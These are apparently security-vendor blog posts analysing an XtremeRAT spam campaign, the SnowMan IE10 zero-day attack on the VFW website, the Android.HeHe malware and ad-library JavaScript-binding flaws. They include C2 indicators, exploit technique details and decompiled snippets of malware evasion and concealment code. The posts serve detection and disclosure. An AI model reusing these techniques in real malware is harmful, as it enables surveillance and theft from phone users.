      The Uranio Cluster

      In our sample set, we have 28 malware samples that connect to a set of sequentially numbered command and control servers:

      • uranio.no-ip.biz
      • uranio2.no-ip.biz
      • uranio3.no-ip.biz
      • uranio4.no-ip.biz
      • uranio5.no-ip.biz
      • uranio6.no-ip.biz
      • uranio7.no-ip.biz
      • platino.no-ip.biz
      • platino-2.no-ip.biz
      • platino-4.no-ip.biz
      • platino-5.no-ip.biz
      • platino-8.no-ip.biz
      • platino-9.no-ip.biz
      • cometa3.no-ip.biz
      • cometa4.no-ip.biz

      The malware is being spammed out and has file names such as:

      • Certificaciones De Pagos Nominas Parafiscales jpg 125420215 58644745574455 .exe
      • Soportes de pagos  certificaciones y documentos mes mayo 30 2013 567888885432235678888888123456.exe
      • Certificaciones De Pago Y Para Fiscales.exe

      We extracted the configurations for a sampling of the XtremeRAT samples we came across in this spam run and found the following results:

      MD5 ID Group Version Mutex
      a6135a6a6346a460792ce2da285778b1 a6135a6a6346a460792ce2da285778b1 ABRIL ABRIL CmetaS3 CmetaS3 3.6 Private 3.6 Private C5AapWKh C5AapWKh
      988babfeec5111d45d7d7eddea6daf28 988babfeec5111d45d7d7eddea6daf28 ABRIL ABRIL CmetaS3 CmetaS3 3.6 Private 3.6 Private C5AapWKh C5AapWKh
      715f54a077802a0d67e6e7136bcbe340 715f54a077802a0d67e6e7136bcbe340 ABRIL ABRIL CmetaS3 CmetaS3 3.6 Private 3.6 Private C5AapWKh C5AapWKh
      167496763aa8d369ff482c4e2ca3da7d 167496763aa8d369ff482c4e2ca3da7d ABRIL ABRIL CmetaS3 CmetaS3 3.6 Private 3.6 Private C5AapWKh C5AapWKh
      3f288dfa95d90a3cb4503dc5f3d49c16 3f288dfa95d90a3cb4503dc5f3d49c16 Server Server Cometa4 Cometa4 3.6 Private 3.6 Private 4QtgfoP 4QtgfoP
      6a8057322e62c569924ea034508068c9 6a8057322e62c569924ea034508068c9 Server Server Platino4 Platino4 3.6 Private 3.6 Private mbojnXS mbojnXS
      37b90673aa83d177767d6289c4b90468 37b90673aa83d177767d6289c4b90468 Server Server Platino4 Platino4 3.6 Private 3.6 Private mbojnXS mbojnXS
      98fb1014f6e90290da946fdbca583334 98fb1014f6e90290da946fdbca583334 Server Server Platino8 Platino8 3.6 Private 3.6 Private G7fjZQYAH G7fjZQYAH
      5a9547b727f0b4baf9b379328c797005 5a9547b727f0b4baf9b379328c797005 Server Server Platino8 Platino8 3.6 Private 3.6 Private G7fjZQYAH G7fjZQYAH
      fb98c8406e316efb0f46024f7c6a6739 fb98c8406e316efb0f46024f7c6a6739 Server Server Platino9 Platino9 3.6 Private 3.6 Private kUHwdc8Y kUHwdc8Y
      64f6f819a029956b8aeafb729512b460 64f6f819a029956b8aeafb729512b460 Server Server Uranio Uranio 3.6 Private 3.6 Private eYwJ6QX0i eYwJ6QX0i
      a4c47256a7159f9556375c603647f4c2 a4c47256a7159f9556375c603647f4c2 Mayo Mayo Uranio2011 Uranio2011 3.6 Private 3.6 Private 0pg6ooH 0pg6ooH
      62d6e190dcc23e838e11f449c8f9b723 62d6e190dcc23e838e11f449c8f9b723 Mayo Mayo Uranio2011 Uranio2011 3.6 Private 3.6 Private 0pg6ooH 0pg6ooH
      d5d99497ebb72f574c9429ecd388a019 d5d99497ebb72f574c9429ecd388a019 Mayo Mayo Uranio2011 Uranio2011 3.6 Private 3.6 Private 0pg6ooH 0pg6ooH
      3a9237deaf25851f2511e355f8c506d7 3a9237deaf25851f2511e355f8c506d7 Server Server Uranio3 Uranio3 1.3.6.16 1.3.6.16 QwcgY0a QwcgY0a
      c5e95336d52f94772cbdb2a37cef1d33 c5e95336d52f94772cbdb2a37cef1d33 Server Server Uranio3 Uranio3 1.3.6.16 1.3.6.16 QwcgY0a QwcgY0a
      0ea60a5d4c8c629c98726cd3985b63c8 0ea60a5d4c8c629c98726cd3985b63c8 Server Server Uranio4 Uranio4 1.3.6.16 1.3.6.16 xjUfrQHP6Xy xjUfrQHP6Xy
      41889ca19c18ac59d227590eeb1da214 41889ca19c18ac59d227590eeb1da214 Server Server Uranio4 Uranio4 1.3.6.16 1.3.6.16 xjUfrQHP6Xy xjUfrQHP6Xy
      90e11bdbc380c88244bb0152f1142aff 90e11bdbc380c88244bb0152f1142aff Server Server Uranio4 Uranio4 1.3.6.16 1.3.6.16 xjUfrQHP6Xy xjUfrQHP6Xy
      c1ad4445f1064195de1d6756950e2ae9 c1ad4445f1064195de1d6756950e2ae9 Server Server Uranio5 Uranio5 3.6 Private 3.6 Private R9lmAhUK R9lmAhUK
      e5b781ec77472d8d4b3b4a4d2faf5761 e5b781ec77472d8d4b3b4a4d2faf5761 Server Server Uranio6 Uranio6 3.6 Private 3.6 Private KdXTsbjJ6 KdXTsbjJ6
      a921aa35deedf09fabee767824fd8f7e a921aa35deedf09fabee767824fd8f7e Server Server Uranio6 Uranio6 3.6 Private 3.6 Private KdXTsbjJ6 KdXTsbjJ6
      9a2e510de8a515c9b73efdf3b141f6c2 9a2e510de8a515c9b73efdf3b141f6c2 CC CC Uranio7 Uranio7 3.6 Private 3.6 Private UBt3eQq0 UBt3eQq0
      a6b862f636f625af2abcf5d2edb8aca2 a6b862f636f625af2abcf5d2edb8aca2 CC CC Uranio7 Uranio7 3.6 Private 3.6 Private iodjmGyP3 iodjmGyP3
      0327859be30fe6a559f28af0f4f603fe 0327859be30fe6a559f28af0f4f603fe CC CC Uranio7 Uranio7 3.6 Private 3.6 Private UBt3eQq0 UBt3eQq0

      “Server”, “Servers”, and “--((Mutex))--” are the defaults in the XtremeRAT controller for ID, Group, and Mutex respectively. The random mutex names in the table above can be generated by double-clicking in the Mutex field within the controller. In most cases, the number at the end of the group label is the same number used at the end of the subdomain for the CnC. In the case of “Uranio2011”, the subdomain is simply “uranio” and 2011 represents the port number used to communicate with the CnC infrastructure.

      [caption id="attachment_4478" align="alignnone" width="900"]Figure 8. Portugese version of XtremeRAT controller Figure 8. Portugese version of XtremeRAT controller[/caption]

      Uranio Sinkhole Analysis

      We sinkholed uranio2.no-ip.biz between November 22, 2013 and January 6, 2014. During that time, 12000 unique IPs connected to the uranio2.no-ip.biz. Recall, that this number reflects only one of many command and control servers. [8]

      However, estimating the number of victims this way is difficult due to DHCP lease times, which inflate the numbers, and NAT connections, which deflate the numbers. [9] As such, we counted the unique IP addresses that connected to the sinkhole on each day. The highest number of connections to this sinkhole was on Dec. 3, 2013 with 2003 connections and the lowest was Jan. 6, 2014 with 109 connections. The average number of unique IP addresses that connected to the sinkhole per day was 657.

      While these IP addresses were in ranges assigned to 40 distinct countries, the vast majority of the connections to the sinkhole (92.7 percent) were from Colombia. Argentina was a distant second with 1.22 percent, followed by Venezuela with 1.02 percent, Egypt with 0.95 percent and the U.S. with 0.9 percent.

      Conclusion

      Determining the activity of targeted threat actors is difficult. Most of the activity associated with publicly available RATs is traditional cybercrime associated with spam runs, banking Trojans and malware distribution. However, useful indicators can be extracted from these ubiquitous RATs to track the activities of targeted threat actors (as well as cybercrime).

      Tools

      Notes:

      1. http://arstechnica.com/tech-policy/2013/09/miss-teen-usas-webcam-spy-called-himself-cutefuzzypuppy/ http://arstechnica.com/tech-policy/2011/09/how-an-omniscient-internet-sextortionist-ruined-lives/

      2. The group behind the Carberp banking Trojan were arrested http://www.techweekeurope.co.uk/news/carberp-botnet-leader-arrested-112205, the author of Zeus retired, http://krebsonsecurity.com/2010/10/spyeye-v-zeus-rivalry-ends-in-quiet-merger/, the author of SpyEye went into hiding http://www.xylibox.com/2012/03/behind-spyeye-gribodemon.html and was recently arrested http://www.wired.com/threatlevel/2014/01/spy-eye-author-guilty-plea/, FBI and Microsoft have gone after Citadel which is not off the market https://blogs.rsa.com/citadels-steward-banned-from-undergorund-venues/ http://www.microsoft.com/en-us/news/press/2013/jun13/06-05dcupr.aspx and an overview of the “Big 4” banking Trojans http://blog.kaspersky.com/the-big-four-banking-trojans/

      3. /content/dam/legacy/resources/pdfs/fireeye-poison-ivy-report.pdf

      4. http://www.fireeye.com/blog/technical/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html

      5. http://blog.trendmicro.com/trendlabs-security-intelligence/new-xtreme-rat-attacks-on-usisrael-and-other-foreign-governments/ http://download01.norman.no/whitepapers/Cyberattack_against_Israeli_and_Palestinian_targets.pdf http://www.fireeye.com/blog/technical/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html

      6. http://tools.cisco.com/security/center/viewThreatOutbreakAlert.x?alertId=30825

      7. http://www.symantec.com/connect/blogs/spammers-use-kenya-terrorist-attack-spread-malware

      8. We filtered out all non-XtremeRAT traffic and ensured that each of the 12000 IPs attempted to make an XtremeRAT connection.

      9. https://www.usenix.org/legacy/event/hotbots07/tech/full_papers/rajab/rajab.pdf

      Operation SnowMan: DeputyDog Actor Compromises US Veterans of Foreign Wars Website

      On February 11, FireEye identified a zero-day exploit (CVE-2014-0322)  being served up from the U.S. Veterans of Foreign Wars’ website (vfw[.]org). We believe the attack is a strategic Web compromise targeting American military personnel amid a paralyzing snowstorm at the U.S. Capitol in the days leading up to the Presidents Day holiday weekend. Based on infrastructure overlaps and tradecraft similarities, we believe the actors behind this campaign are associated with two previously identified campaigns (Operation DeputyDog and Operation Ephemeral Hydra).

      This blog post examines the vulnerability and associated attacks, which we have dubbed “Operation SnowMan."

      Exploit/Delivery analysis

      After compromising the VFW website, the attackers added an iframe into the beginning of the website’s HTML code that loads the attacker’s page in the background. The attacker’s HTML/JavaScript page runs a Flash object, which orchestrates the remainder of the exploit. The exploit includes calling back to the IE 10 vulnerability trigger, which is embedded in the JavaScript.  Specifically, visitors to the VFW website were silently redirected through an iframe to the exploit at www.[REDACTED].com/Data/img/img.html.

      Mitigation

      The exploit targets IE 10 with Adobe Flash. It aborts exploitation if the user is browsing with a different version of IE or has installed Microsoft’s Experience Mitigation Toolkit (EMET). So installing EMET or updating to IE 11 prevents this exploit from functioning.

      Vulnerability analysis

      The vulnerability is a previously unknown use-after-free bug in Microsoft Internet Explorer 10. The vulnerability allows the attacker to modify one byte of memory at an arbitrary address. The attacker uses the vulnerability to do the following:

      • Gain access to memory from Flash ActionScript, bypassing address space layout randomization (ASLR)
      • Pivot to a return-oriented programing (ROP) exploit technique to bypass data execution prevention (DEP)

      EMET detection

      The attacker uses the Microsoft.XMLDOM ActiveX control to load a one-line XML string containing a file path to the EMET DLL. Then the exploit code parses the error resulting from the XML load order to determine whether the load failed because the EMET DLL is not present.  The exploit proceeds only if this check determines that the EMET DLL is not present.

      ASLR bypass

      Because the vulnerability allows attackers to modify memory to an arbitrary address, the attacker can use it to bypass ASLR. For example, the attacker corrupts a Flash Vector object and then accesses the corrupted object from within Flash to access memory. We have discussed this technique and other ASLR bypass approaches in our blog. One minor difference between the previous approaches and this attack is the heap spray address, which was changed to 0x1a1b2000 in this exploit.

      Code execution

      Once the attacker’s code has full memory access through the corrupted Flash Vector object, the code searches through loaded libraries gadgets by machine code. The attacker then overwrites the vftable pointer of a flash.Media.Sound() object in memory to point to the pivot and begin ROP. After successful exploitation, the code repairs the corrupted Flash Vector and flash.Media.Sound to continue execution.

      Shellcode analysis

      Subsequently, the malicious Flash code downloads a file containing the dropped malware payload. The beginning of the file is a JPG image; the end of the file (offset 36321) is the payload, encoded with an XOR key of 0x95. The attacker appends the payload to the shellcode before pivoting to code control. Then, when the shellcode is executed, the malware creates files “sqlrenew.txt” and “stream.exe”. The tail of the image file is decoded, and written to these files. “sqlrenew.txt” is then executed with the LoadLibraryA Windows API call.

      ZxShell payload analysis

      As documented above, this exploit dropped an XOR (0x95) payload that executed a ZxShell backdoor (MD5: 8455bbb9a210ce603a1b646b0d951bce). The compile date of the payload was 2014-02-11, and the last modified date of the exploit code was also 2014-02-11. This suggests that this instantiation of the exploit was very recent and was deployed for this specific strategic Web compromise of the Veterans of Foreign Wars website. A possible objective in the SnowMan attack is targeting military service members to steal military intelligence. In addition to retirees, active military personnel use the VFW website. It is probably no coincidence that Monday, Feb. 17, is a U.S. holiday, and much of the U.S. Capitol shut down Thursday amid a severe winter storm.

      The ZxShell backdoor is a widely used and publicly available tool used by multiple threat actors linked to cyber espionage operations. This particular variant called back to a command and control server located at newss[.]effers[.]com. This domain currently resolves to 118.99.60.142. The domain info[.]flnet[.]org also resolved to this IP address on 2014-02-12.

      Infrastructure analysis

      The info[.]flnet[.]org domain overlaps with icybin[.]flnet[.]org and book[.]flnet[.]org via the previous resolutions to the following IP addresses:

      • 58.64.200.178
      • 58.64.200.179
      • 103.20.192.4
      First Seen Last Seen CnC Domain IP
      2013-08-31 2013-08-31 2013-08-31 2013-08-31 icybin.flnet[.]org icybin.flnet[.]org 58.64.200.178 58.64.200.178
      2013-05-02 2013-05-02 2013-08-02 2013-08-02 info.flnet[.]org info.flnet[.]org 58.64.200.178 58.64.200.178
      2013-08-02 2013-08-02 2013-08-02 2013-08-02 book.flnet[.]org book.flnet[.]org 58.64.200.178 58.64.200.178
      2013-08-10 2013-08-10 2013-08-10 2013-08-10 info.flnet[.]org info.flnet[.]org 58.64.200.179 58.64.200.179
      2013-07-15 2013-07-15 2013-07-15 2013-07-15 icybin.flnet[.]org icybin.flnet[.]org 58.64.200.179 58.64.200.179
      2014-01-02 2014-01-02 2014-01-02 2014-01-02 book.flnet[.]org book.flnet[.]org 103.20.192.4 103.20.192.4
      2013-12-03 2013-12-03 2014-01-02 2014-01-02 info.flnet[.]org info.flnet[.]org 103.20.192.4 103.20.192.4

      We previously observed Gh0stRat samples with the custom packet flag “HTTPS” calling back to book[.]flnet[.]org and icybin[.]flnet[.]org. The threat actor responsible for Operation DeputyDog also used the “HTTPS” version of the Gh0st. We also observed another “HTTPS” Gh0st variant connecting to a related command and control server at me[.]scieron[.]com.

      MD5 Hash CnC Domain
      758886e58f9ea2ff22b57cbbb015166e 758886e58f9ea2ff22b57cbbb015166e book.flnet[.]org book.flnet[.]org
      0294f9280491f85d898ebe471f0fb58e 0294f9280491f85d898ebe471f0fb58e icybin.flnet[.]org icybin.flnet[.]org
      9d20566a327076b7152bbf9ed20292c4 9d20566a327076b7152bbf9ed20292c4 me.scieron[.]com me.scieron[.]com

      The me[.]scieron[.]com domain previously resolved to 58.64.199.22. The book[.]flnet[.]org domain also resolved to another IP in the same subnet 58.64.199.0/24. Specifically, book[.]flnet[.]org previously resolved to 58.64.199.27.

      Others domain seen resolving to this same /24 subnet were dll[.]freshdns[.]org, ali[.]blankchair[.]com, and cht[.]blankchair[.]com. The domain dll[.]freshdns[.]org resolved to 58.64.199.25. Both ali[.]blankchair[.]com and cht[.]blankchair[.]com resolved to 58.64.199.22.

      First Seen Last Seen CnC Domain IP
      2012-11-12 2012-11-12 2012-11-28 2012-11-28 me.scieron[.]com me.scieron[.]com 58.64.199.22 58.64.199.22
      2012-04-09 2012-04-09 2012-10-24 2012-10-24 cht.blankchair[.]com cht.blankchair[.]com 58.64.199.22 58.64.199.22
      2012-04-09 2012-04-09 2012-09-18 2012-09-18 ali.blankchair[.]com ali.blankchair[.]com 58.64.199.22 58.64.199.22
      2012-11-08 2012-11-08 2012-11-25 2012-11-25 dll.freshdns[.]org dll.freshdns[.]org 58.64.199.25 58.64.199.25
      2012-11-23 2012-11-23 2012-11-27 2012-11-27 rt.blankchair[.]com rt.blankchair[.]com 58.64.199.25 58.64.199.25
      2012-05-29 2012-05-29 2012-6-28 2012-6-28 book.flnet[.]org book.flnet[.]org 58.64.199.27 58.64.199.27

      A number of other related domains resolve to these IPs and other IPs also in this /24 subnet. For the purposes of this blog, we’ve chosen to focus on those domains and IP that relate to the previously discussed DeputyDog and Ephemeral Hydra campaigns.

      You may recall that dll[.]freshdns[.]org, ali[.]blankchair[.]com and cht[.]blankchair[.]com were all linked to both Operation DeputyDog and Operation Ephemeral Hydra. Figure 1 illustrates the infrastructure overlaps and connections we observed between the strategic Web compromise campaign leveraging the VFW’s website, the DeputyDog, and the Ephemeral Hydra operations.

      snowman-graph
      Figure 1: Ties between Operation SnowMan, DeputyDog, and Ephemeral Hydra

      Links to DeputyDog and Ephemeral Hydra

      Other tradecraft similarities between the actor(s) responsible for this campaign and the actor(s) responsible for the DeputyDog/Ephemeral Hydra campaigns include:

      • The use of zero-day exploits to deliver a remote access Trojan (RAT)
      • The use of strategic web compromise as a vector to distribute remote access Trojans
      • The use of a simple single-byte XOR encoded (0x95) payload obfuscated with a .jpg extension
      • The use of Gh0stRat with the “HTTPS” packet flag
      • The use of related command-and-control (CnC) infrastructure during the similar time frames

      We observed many similarities from the exploitation side as well. At a high level, this attack and the CVE-2013-3163 attack both leveraged a Flash file that orchestrated the exploit, and would call back into IE JavaScript to trigger an IE flaw. The code within the Flash files from each attack are extremely similar. They build ROP chains and shellcode the same way, both choose to corrupt a Flash Vector object, have some identical functions with common typos, and even share the same name.

      Conclusion

      These actors have previously targeted a number of different industries, including:

      • U.S. government entities
      • Japanese firms
      • Defense industrial base (DIB) companies
      • Law firms
      • Information technology (IT) companies
      • Mining companies
      • Non-governmental organizations (NGOs)

      The proven ability to successfully deploy a number of different private and public RATs using zero-day exploits against high-profile targets likely indicates that this actor(s) will continue to operate in the mid to long-term.

      Android.HeHe: Malware Now Disconnects Phone Calls

      FireEye Labs has recently discovered six variants of a new Android threat that steals text messages and intercepts phone calls. We named this sample set “Android.HeHe” after the name of the activity that is used consistently across all samples.

      Here is a list of known bot variants:

      MD5 VirusTotal Detection Ratio
      1caa31272daabb43180e079bca5e23c1 1caa31272daabb43180e079bca5e23c1 2/48 2/48
      8265041aca378d37006799975fa471d9 8265041aca378d37006799975fa471d9 1/47 1/47
      2af4de1df7587fa0035dcefededaedae 2af4de1df7587fa0035dcefededaedae 2/45 2/45
      2b41fbfb5087f521be193d8c1f5efb4c 2b41fbfb5087f521be193d8c1f5efb4c 2/46 2/46
      aa0ed04426562df25916ff70258daf6c aa0ed04426562df25916ff70258daf6c 1/46 1/46
      9507f93d9a64d718682c0871bf354e6f 9507f93d9a64d718682c0871bf354e6f 1/47 1/47

      Summary

      The app disguises itself as “android security” (Figure 1), attempting to provide the users what is advertised as an OS Update. It contacts the command-and-control (CnC) server to register itself then goes on to monitor incoming SMS messages. The CnC is expected to respond with a list of phone numbers that are of interest to the malware author. If one of these numbers sends an SMS or makes a call to an infected device, the malware intercepts the message or call, suppresses device notifications from the device, and removes any trace of the message or call from device logs. Any SMS messages from one of these numbers are logged into an internal database and sent to the CnC server. Any phone calls from these numbers are silenced and rejected.

      [caption id="attachment_4369" align="aligncenter" width="302"]App installs itself Figure 1[/caption]

      Analysis

      This app starts the main HeHe activity at startup. The constructor of the HeHeActivity registers a handler using the android.os.Handle, which acts as a thread waiting for an object of type android.os.Message to perform different actions, which are outlined below.

      Because the HeHeActivity implements the standard DailogInterfaceOnClickListener, the start of the app causes the showAlterDailog message to be displayed (Figure 2).

      [caption id="attachment_4373" align="aligncenter" width="404"]Fake OS Update in progress Figure 2: The above messages make the user believe that an OS update check is under progress[/caption]

      The app then sends an intent to start three services in the background. These services are explained below.

      Sandbox-evasion tactic

      This app checks for the presence of an emulator by calling the isEmulator function, which does the following:

      1. It checks the value of the MODEL of the device (emulators with the Google ADT bundle have the string “sdk” as a part of the MODEL variable).
      2. It also checks to see if the IMSI code is “null” — emulators do not have an IMSI code associated with them.

      Here is the isEmulator code:

      String v0 = TelephonyUtils.getImsi(((Context)this));
      if(v0 == null) {
      return;
      }
      public static boolean isEmulator() {
      boolean v0;
      if((Build.MODEL.equalsIgnoreCase("sdk")) || (Build.MODEL.equalsIgnoreCase("google_sdk"))) {
      v0 = true;
      }
      else {
      v0 = false;
      }
      return v0;
      }

      The code checks whether the the app is being run in the Android QEMU emulator. It also checks whether the value of IMSI is equal to null
      

      RegisterService

      This service runs in the background. Once started the app calls the setComponentEnabledSetting method as follows:

      this.getPackageManager().setComponentEnabledSetting(new ComponentName(((Context)this), HeheActivity.class), 2, 1);
      

      This removes the app from the main menu of the phone leading the user to believe that the app is no longer installed on the phone. It then goes on to check the network status of the phone as shown below

      public void checkNetwork() { 
      if(!this.isNetworkAvailable()) {
      this.setMobileDataEnabled();
      }
      }
      
      After the service has been created. The onStart method is called, which checks the message provided as a part of the intent. The message types are START and LOGIN
      

      START

      If the message in the intent is START, The app calls the sendReigsterRequest() function. The sendRegisterRequest function first checks for the presence of an emulator as explained in the "Sandbox-evasion tactic" section

      It then collects the IMSI IMEI, phone number, SMS address and channel ID. It packs all this information into a JSON object. Once the JSON object is created. It is converted to a string, which is sent to the CnC server. The CnC communication is explained below.

      LOGIN

      If the message in the intent is LOGIN, the app calls the sendLoginRequest method, which in turn collects the following:

      • Version number of the app (hard-coded as "1.0.0")
      • The model of the phone
      • The version of the operating system
      • The type of network associated with the device (GSM/CDMA)

      This information is also packed into a JSON object, converted into a string, and sent to the CnC server.

      RegisterBroadcastReceiver service

      This service is invoked at the start of the app as the RegisterService. It in turn registers the IncomeCallAndSmsReceiver(), which is set to respond to these three intents:

      • android.provider.Telephony.SMS_RECEIVED, which notifies once a SMS has been received on the device
      • android.intent.action.PHONE_STATE, which notifies once the cellular state of the device has changed. Examples include RINGING and OFF_HOOK.
      • android.intent.action.SCREEN_ON, which notifies once the screen has been turned on or turned off.

      Additionally, it also sets observers over Android content URIs as follows:

      • The SmsObserver is set to observe the content://sms, which enables it to access all SMS messages that are present on the device.
      • The CallObserver is set to observe the content://call_log/calls, which allows it to access the call log of all incoming, outgoing and missed calls on the device.

       ConnectionService

      The main HeHe activity mentioned at the start issues the ACTION_START intent to the ConnectionService class as follows:

      Intent v2 = new Intent(((Context)this), ConnectionService.class);

      v2.setAction(ConnectionService.ACTION_START);

      v2.setFlags(268435456); this.startService(v2); LogUtils.debug("heheActivity", "start connectionService service"); The app then starts a timer task that is scheduled to be invoked every 5000 seconds. This timed task does the following:
      • Creates an object instance of the android.os.Message class
      • Sets the value of "what" in the Message object to 1
      • The handler of this message that was initiated in the constructor then gets called which, in turn calls the showFinishBar function that displays the message “현재 OS에서 최신 소프트웨어버전을 사용하고있습니다,” which translates to “The current OS you are using the latest version of the software.”

      Receivers

      IncomeCallAndSmsReceiver

      The RegisterBroadcastReceiver registers this receiver once the app gets started. When an SMS is received on the device. The IncomeCallAndSmsReceiver gets the intent. Because this receiver listens for one of three intents, any intents received by this receiver are checked for their type.

      If the received intent is of type android.provider.telephony.SMS_RECEIVED, the app extracts the contents of the SMS and the phone number of the sender. If the first three characters of the phone number matches the first three characters from phone numbers in a table named tbl_intercept_info, then the SMS intent is aborted and the SMS is deleted from the devices SMS inbox so that the user never sees it. After the SMS notification is suppressed, the app bundles the SMS as follows:

      {
      "content":"TESTING", 
      "createTime":"2014-01-10 16:21:36",
      "id":null,"messageFrom":"1234567890",
      "token":null
      }
      
      From there, it sends the to the CnC server (http://108.62.240.69:9008/reportMessage)
      

      It also records the SMS in the tbl_message_info table in its internal database.

      If the received intent is of type android.intent.action.PHONE_STATE, the app checks the tbl_intercept_info table in the local database. If the number of the caller appears in this table, then the ringer mode of the phone is set to silent to suppress the notification of the incoming call and the phone call is disconnected. Its corresponding entry from the call logs is also removed, removing all traces of the phone call from the device.

      No actions have been defined for the android.app.action.SCREEN_ON intent, even though the IncomeCallAndSmsReceiver receiver is the recipient.

      CnC

      This app uses two hard-coded IP address to locate its CnC servers: 122.10.92.117 and 58.64.183.12. The app performs all communications through HTTP POST requests. The contents of the HTTP POST are encrypted using AES with a 128-bit key that is hardcoded into the app. The app sends its lastVersion value —to 122.10.92.117, to address is where is used to check for , in which the app sends its version of the app. The address 58.64.183.12 is used to report incoming SMS messages

      Because the IP address is no longer reachable, responses from the server could not be analyzed. What is clear is that the server sends a JSON object in response, which contains a "token" field.

      Although the CnC server is currently unavailable, we can infer how the app works by examining the how it processes the received responses.

      The app consists of different data structures that are converted into their equivalent JSON representations when they are sent to the CnC. Also, All JSON object responses are converted into their equivalent internal data structures. We have also observed the mechanism used to populate the internal database which includes tables (tbl_intercept_info) which contain the phone numbers to be blocked.

      The app uses hxxp://122.10.92.117:9008 and hxxp://58.64.183.12:9008 to send information to the CnC server.

      The mapping of URLs to their internal class data structures is as follows:

      GetLastVersionRequest /getLastVersion
      RegisterRequest /register
      LoginRequest /login
      ReportRequest /report
      GetTaskRequest /getTask
      ReportMessage Request /reportMessage

      The meaning and structures of these are explained in the following sections.

      GetLastVersionRequest

      This request is sent when the app is first installed on the device. The bot sends the version code of the device (currently set to 1.0.0) to the CnC. The CnC response shall contain the URL to an update if available. The availability of an update is signified through an ‘update’ field in the response

      [caption id="attachment_4377" align="alignnone" width="816"]Request to CnC to check for version Request to CnC to check for version[/caption]

      RegisterRequest

      This request is sent when the app sends an intent with a “LOGIN” option to the RegisterService as explained  above. The request contains the IMSI, IMEI, Phone number, SMS address (Phone number), Channel ID, a token and the IP address being used by the app as its CnC. This causes the infected device to be registered with the CnC.

      LoginRequest

      This request is sent to further authenticate the device to the CnC, It contains the token previously received, the version of the Bot, the model of the phone, the version of the OS, the type of network and the other active network parameters such as signal strength. In response, It only gets a result value.

      ReportRequest

      The report request sends the information present in tbl_report_info to the CnC. This table contains information about other requests that were sent but failed.

      GetTaskRequest

      This requests asks for tasks from the CnC server. The response contains a retry interval and a sendSmsActionNotify value. It is sent when the response to the LoginRequest is 401 instead of 200.

      ReportMessageRequest

      This request to the CnC sends the contents of the SMS messages that are received on the device. It consists of the contents of the SMS message, the time of the message and the sender of the SMS. This has been observed in the logcat output as follows:

      logging-mini

      Conclusion

      Android malware variants are mushrooming. Threats such as Android.HeHe and Android.MisoSMS reveal attackers' growing interest in monitoring SMS messages and phone call logs. They also serve as a stark reminder of just how dangerous apps from non-trusted marketplaces can be.

      JS-Binding-Over-HTTP Vulnerability and JavaScript Sidedoor: Security Risks Affecting Billions of Android App Downloads

      Third-party libraries, especially ad libraries, are widely used in Android apps. Unfortunately, many of them have security and privacy issues. In this blog, we summarize our findings related to the insecure usage of JavaScript binding in ad libraries.

      First, we describe a widespread security issue with using JavaScript binding (addJavascriptInterface) and loading WebView content over HTTP, which allows a network attacker to take control of the application by hijacking the HTTP traffic. We call this the JavaScript-Binding-Over-HTTP (JS-Binding-Over-HTTP) vulnerability. Our analysis shows that, currently, at least 47 percent of the top 40 ad libraries have this vulnerability in at least one of their versions that are in active use by popular apps on Google Play.

      Second, we describe a new security issue with the JavaScript binding annotation, which we call JavaScript Sidedoor. Starting with Android 4.2, Google introduced the @JavascriptInterface annotation to explicitly designate and limit which public methods in Java objects are accessible from JavaScript. If an ad library uses @JavascriptInterface annotation to expose security-sensitive interfaces, and uses HTTP to load content in the WebView, then an attacker over the network could inject malicious content into the WebView to misuse the exposed interfaces through the JS binding annotation. We call these exposed JS binding annotation interfaces JS sidedoors.

      Our analysis shows that these security issues are widespread, have affected popular apps on Google Play accounting for literally billions of app downloads. The parties we notified about these issues have been actively addressing them.

      Security Issues with JavaScript Binding over HTTP

      Android uses the JavaScript binding method addJavascriptInterface to enable JavaScript code running inside a WebView to access the app’s Java methods. However, it is widely known that this feature, if not used carefully, presents a potential security risk when running on Android 4.1 or below. As noted by Google: “Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application.” [1]

      In particular, if an app running on Android 4.1 or below uses the JavaScript binding method addJavascriptInterface and loads the content in the WebView over HTTP, then an attacker over the network could hijack the HTTP traffic, e.g., through WiFi or DNS hijacking, to inject malicious content into the WebView – and thus take control over the host application. We call this the JavaScript-Binding-Over-HTTP (JS-Binding-Over-HTTP) vulnerability. If an app containing such vulnerability has sensitive Android permissions such as access to the camera, then a remote attacker could exploit this vulnerability to perform sensitive tasks such as taking photos or record video in this case, over the Internet, without a user’s consent.

      We have analyzed the top 40 third-party ad libraries (not including Google Ads) used by Android apps. Among the apps with over 100,000 downloads each on Google Play, over 42 percent of the free apps currently contain at least one of these top ad libraries. The total download count of such apps now exceeds 12.4 billion. From our analysis, at least 47 percent of these top 40 ad libraries have at least one version of their code in active use by popular apps on Google Play, and contain the JS-Binding-Over-HTTP vulnerability. As an example, InMobi versions 2.5.0 and above use the JavaScript binding method addJavascriptInterface and load content in the WebView using HTTP.

      Security Issues with JavaScript Binding Annotation

      Starting with Android 4.2, Google introduced the @JavascriptInterface annotation to explicitly designate and limit which public Java methods in the app are accessible from JavaScript running inside a WebView. However, note that the @JavascriptInterface annotation does not provide any protection for devices using Android 4.1 or below, which is still running on more than 80 percent of Android devices worldwide.

      We discovered a new class of security issues, which we call JavaScript Sidedoor (JS sidedoor), in ad libraries. If an ad library uses the @JavascriptInterface annotation to expose security-sensitive interfaces, and uses HTTP to load content in the WebView, then it is vulnerable to attacks where an attacker over the network (e.g., via WIFI or DNS hijacking) could inject malicious content into the WebView to misuse the interfaces exposed through the JS binding annotation. We call these exposed JS binding annotation interfaces JS sidedoors.

      For example, starting with version 3.6.2, InMobi added the @JavascriptInterface JS binding annotation. The list of exposed methods through the JS binding annotation in InMobi includes:

      • createCalendarEvent (version 3.7.0 and above)
      • makeCall (version 3.6.2 and above)
      • postToSocial (version 3.7.0 and above)
      • sendMail (version 3.6.2 and above)
      • sendSMS (version 3.6.2 and above)
      • takeCameraPicture (version 3.7.0 and above)
      • getGalleryImage (version 3.7.0 and above)
      • registerMicListener (version 3.7.0 and above)

      InMobi also provides JavaScript wrappers to these methods in the JavaScript code served from their ad servers, as shown in Appendix A.

      InMobi also loads content in the WebView using HTTP. If an app has the Android permission CALL_PHONE, and is using InMobi versions 3.6.2 to 4.0.2, an attacker over the network (for example, using Wi-Fi or DNS hijacking) could abuse the makeCall annotation in the app to make phone calls on the device without a user’s consent – including to premium numbers.

